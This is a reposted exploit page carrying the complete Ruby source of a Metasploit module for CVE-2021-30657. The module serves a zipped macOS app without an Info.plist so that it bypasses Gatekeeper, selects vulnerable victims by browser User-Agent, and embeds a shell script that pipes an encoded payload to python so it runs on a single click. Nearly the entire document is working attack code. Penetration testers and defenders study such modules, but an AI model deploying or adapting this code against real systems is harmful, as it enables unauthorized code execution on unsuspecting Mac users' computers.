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macOS Gatekeeper Check Bypass

macOS Gatekeeper Check Bypass
Posted May 7, 2021
Authored by timwr, Cedric Owens | Site metasploit.com

This Metasploit module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS versions prior to 11.3. If the user visits the site on Safari, the zip file is automatically extracted, and clicking on the downloaded file will automatically launch the payload. If the user visits the site in another browser, the user must click once to unzip the app, and click again in order to execute the payload.

tags | exploit
systems | apple
advisories | CVE-2021-30657
MD5 | f887e4c7bc716bf125006af5d7e5dcac

macOS Gatekeeper Check Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS Gatekeeper check bypass',
'Description' => %q{
This module serves an OSX app (as a zip) that contains no Info.plist, which
bypasses gatekeeper in macOS < 11.3.
If the user visits the site on Safari, the zip file is automatically extracted,
and clicking on the downloaded file will automatically launch the payload.
If the user visits the site in another browser, the user must click once to unzip
the app, and click again in order to execute the payload.
},
'License' => MSF_LICENSE,
'Targets' => [
[ 'macOS x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-03-25',
'Author' => [
'Cedric Owens', # Discovery
'timwr' # Module
],
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
},
'References' => [
['CVE', '2021-30657'],
['URL', 'https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508'],
['URL', 'https://objective-see.com/blog/blog_0x64.html'],
]
)
)
register_options([
OptString.new('APP_NAME', [false, 'The application name (Default: app)', 'app'])
])
end

def check_useragent(user_agent)
return false unless user_agent =~ /Intel Mac OS X (.*?)\)/

osx_version = Regexp.last_match(1).gsub('_', '.')
mac_osx_version = Rex::Version.new(osx_version)
if mac_osx_version >= Rex::Version.new('11.3')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Rex::Version.new('10.15.6')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
else
print_good "macOS version #{mac_osx_version} is vulnerable"
return true
end
return false
end

def on_request_uri(cli, request)
user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
unless check_useragent(user_agent)
print_error 'Unexpected User-Agent'
send_not_found(cli)
return
end

app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)
send_response(cli, app_zip(app_name), { 'Content-Type' => 'application/zip', 'Content-Disposition' => "attachment; filename=\"#{app_name}.zip\"" })
end

def app_zip(app_name)
case target['Arch']
when ARCH_X64
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})
command = "echo \"#{payload_data}\" | python & disown"
when ARCH_PYTHON
command = "echo \"#{payload.encoded}\" | python"
when ARCH_CMD
command = payload.encoded
end

shell_script = <<~SCRIPT
#!/bin/sh

#{command}
SCRIPT

zip = Rex::Zip::Archive.new
zip.add_file("#{app_name}.app/", '')
zip.add_file("#{app_name}.app/Contents/", '')
zip.add_file("#{app_name}.app/Contents/MacOS/", '')
zip.add_file("#{app_name}.app/Contents/MacOS/#{app_name}", shell_script).last.attrs = 0o777
zip.pack
end
end
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